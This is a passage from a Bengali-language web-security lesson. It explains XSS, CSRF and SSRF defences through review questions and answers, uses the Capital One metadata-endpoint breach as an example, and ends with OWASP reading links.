Experiment অংশে internal-admin.local-এর মতো hostname যদি ভুলবশত allowlist-এ ঢুকে যায় (typo, misconfiguration, অথবা DNS rebinding attack — যেখানে একটা hostname প্রথমে নিরীহ IP resolve করে validation পাস করে, তারপর attacker DNS record বদলে দেয় যাতে দ্বিতীয়বার resolve internal IP-তে যায়), শুধু hostname-allowlist যথেষ্ট না। এই জন্যই দুই-স্তরের guard দরকার — hostname allowlist এবং resolved-IP-range check, request পাঠানোর ঠিক মুহূর্তে।

বুঝেছেন কি না দেখুন

1

XSS, CSRF, আর SSRF — প্রতিটাতে ঠিক কী ভুলভাবে “trust” করা হয়, আর প্রতিটার ভিকটিম কে (এক লাইনে টেবিল থেকে বলুন)?

স্মরণ

XSS: ব্রাউজার user-input-কে “শুধু টেক্সট” ধরে নেয় কিন্তু সেটা code হিসেবে চলে যায় — ভিকটিম অন্য user-এর ব্রাউজার। CSRF: সার্ভার cookie-সংযুক্ত request-কে “ইচ্ছাকৃত” ধরে নেয় — ভিকটিম logged-in user, যার session ব্যবহৃত হয় hijack না হয়েও। SSRF: সার্ভার user-দেওয়া URL-কে “নিরাপদ destination” ধরে নেয় — ভিকটিম সার্ভার নিজে ও তার internal network।

2

Same-origin policy cross-origin data-read আটকায়, কিন্তু XSS তারপরও কীভাবে কাজ করে? আর কেন same-origin policy CSRF-এর ক্ষেত্রে সাহায্য করে না?

যুক্তি

XSS same-origin policy ভাঙে না — বরং সেই boundary-র ভেতরে ঢুকে যায়: attacker-এর script যদি bank.com-এর নিজের পাতায় inject হয়ে যায়, ব্রাউজারের চোখে সেই script bank.com origin থেকেই এসেছে বলে গণ্য হয়, তাই বৈধ প্রবেশাধিকার পায়। CSRF-এ same-origin policy সাহায্য করে না কারণ সেটা শুধু cross-origin read আটকায় — cross-site POST পাঠানো আটকায় না, আর attacker-এর response পড়ার দরকারও নেই, শুধু side-effect ঘটানোই যথেষ্ট।

3

Build-এর সিনারিও ৩-এ cross-site POST-এ cookie sent হয়েছে False, কিন্তু cross-site GET-এ True। এই পার্থক্যটা SameSite=Lax-এর কোন নির্দিষ্ট নিয়মের কারণে, আর এই নিয়মটা কী বাস্তব use-case রক্ষা করার জন্য বানানো?

প্রয়োগ

SameSite=Lax-এর নিয়ম: cookie cross-site request-এও পাঠানো হয় শুধু top-level GET navigation-এ (যেমন অন্য সাইটের একটা link click করে bank.com-এ আসা), কিন্তু hidden auto-submit form-এর মতো POST-এ না। এই ব্যতিক্রম রাখা হয়েছে যাতে normal ব্যবহারকারী অভিজ্ঞতা না ভাঙে — কেউ অন্য সাইট থেকে bank.com-এর একটা লিংকে click করলে যেন logged-out অবস্থায় না পৌঁছায়, অথচ state-changing POST-এর মতো ঝুঁকিপূর্ণ অপারেশনে cookie আটকে যায়।

4

Capital One breach-এ attacker সরাসরি database-এ ঢোকেননি, ঢুকেছিলেন 169.254.169.254-এ request পাঠিয়ে। এই একটা IP address কেন এত বিপজ্জনক হয়ে উঠল, আর SSRF experiment-এর safe_fetch-এর কোন অংশ এই নির্দিষ্ট ঠিকানাটা block করত?

যুক্তি

169.254.169.254 হলো cloud provider-দের (AWS/GCP/Azure) instance metadata endpoint — সেখান থেকে সার্ভারের attached IAM role-এর temporary credential পাওয়া যায়, যা প্রায়ই বড় ক্ষমতার (এই ঘটনায় S3-অ্যাক্সেস)। Experiment-এর BLOCKED_NETWORKS-এ 169.254.0.0/16 (link-local range) আছে বলেই safe_fetch এই IP-তে resolve হওয়া যেকোনো hostname ব্লক করত — সার্ভার সেই credential-এর কাছেই পৌঁছাতে পারত না।

5

একটা নতুন ফিচার: user একটা “profile picture URL” দিলে সার্ভার সেই ছবি fetch করে নিজের CDN-এ resize করে save করে। এই ফিচারে কোন আক্রমণ সম্ভব, আর mitigation-এর প্রথম ধাপ কী হবে?

প্রয়োগ

এটা ক্লাসিক SSRF-এর সুযোগ — সার্ভার নিজেই user-দেওয়া URL-এ request পাঠাচ্ছে। Mitigation-এর প্রথম ধাপ allowlist (শুধু নির্দিষ্ট known image-hosting domain অনুমোদিত) এবং resolved-IP-range guard — private/link-local/loopback range block করা, রিডাইরেক্ট থাকলে প্রতিটা hop-এও একই চেক চালানো (কারণ প্রথম hop নিরীহ হলেও redirect ভেতরের IP-তে নিয়ে যেতে পারে)।

6

একটা internal admin dashboard ডিজাইন করছেন যেখানে (১) user-এর দেওয়া টেক্সট কমেন্ট রেন্ডার হয়, (২) state-changing অপারেশন (user ban, refund issue) আছে, আর (৩) একটা “webhook URL টেস্ট করুন” বাটন আছে যেটা admin-দেওয়া URL-এ একটা test request পাঠায়। প্রতিটার জন্য কোন defense বাছবেন, আর কেন একটার defense আরেকটাকে প্রতিস্থাপন করতে পারবে না?

ডিজাইন

(১) কমেন্টের জন্য context-aware output encoding (root cause fix) + Content-Security-Policy (backstop) — XSS ঠেকাতে। (২) state-changing অপারেশনের জন্য CSRF token + SameSite=Lax/Strict cookie — attacker-এর forged request ঠেকাতে। (৩) webhook-test বাটনের জন্য allowlist (যদি সম্ভব) বা অন্তত resolved-IP-range guard (private/link-local/loopback block) — SSRF ঠেকাতে, বিশেষত admin dashboard সাধারণত internal network-এর গুরুত্বপূর্ণ অংশে বসে থাকে বলে ঝুঁকি বেশি। তিনটা আলাদা কারণে দরকার কারণ তিনটা আলাদা trust-boundary ভাঙে — কমেন্টের encoding webhook-request-কে রক্ষা করে না, CSRF token XSS-কে রক্ষা করে না, প্রতিটা আক্রমণ আলাদা layer-এ ঘটে।

এরপর কী

এরপর কী

আজকের তিনটা আক্রমণেই একটা লুকানো অনুমান ছিল — অনুমানটা এতটাই স্বাভাবিক যে আলাদা করে বলাও হয়নি: application-এর নিজের code বিশ্বাসযোগ্য। XSS-এ সমস্যা ছিল output-এ কী বসছে, CSRF-এ কোন request গ্রহণযোগ্য, SSRF-এ কোন URL-এ fetch করা যায় — কিন্তু প্রতিটাতেই ধরে নেওয়া হয়েছে যে server-এর নিজের চালানো code সৎ, শুধু তার handle করা input-টা বিরূপ।

কিন্তু যদি code নিজেই untrusted হয় — একটা third-party npm package, একটা plugin, একটা container-এ চলা customer-এর workload, অথবা ইতিমধ্যে-compromised একটা process? পরের লেসন — sandboxing ও isolation — ঠিক এই প্রশ্নে যায়: কোড যদি নিজেই বিরূপ হয়, বা compromise হয়ে যায়, তাহলে সেই কোডকে মেশিনের বাকি সবকিছু স্পর্শ করা থেকে কী আটকায়? Process isolation, container boundary, capability-based security — আজকের “input বিশ্বাস করবেন না” থেকে এক ধাপ গভীরে গিয়ে, “code-টাকেই বিশ্বাস করবেন না” প্রশ্নের উত্তর খোঁজা শুরু হবে।

আরও পড়ুন

  • Cross Site Scripting Prevention Cheat Sheet — OWASP Foundation · Context-aware output encoding-এর আনুষ্ঠানিক গাইডলাইন — HTML body, attribute, JS, URL — প্রতিটা context-এর জন্য আলাদা encoding rule
  • Cross-Site Request Forgery Prevention Cheat Sheet — OWASP Foundation · CSRF token synchronization pattern আর SameSite cookie-কে defense-in-depth হিসেবে একসাথে সুপারিশ করার মূল উৎস
  • Server-Side Request Forgery Prevention Cheat Sheet — OWASP Foundation · Allowlist-first design আর network-layer segmentation-এর সুপারিশ — এই লেসনের build-এর ভিত্তি
  • Capital One Data Theft Impacts 106M People — Brian Krebs — KrebsOnSecurity · ২০১৯-এর Capital One breach-এর প্রথম দিককার রিপোর্ট — misconfigured WAF-এ SSRF দিয়ে AWS instance-metadata endpoint থেকে temporary credential চুরির ঘটনা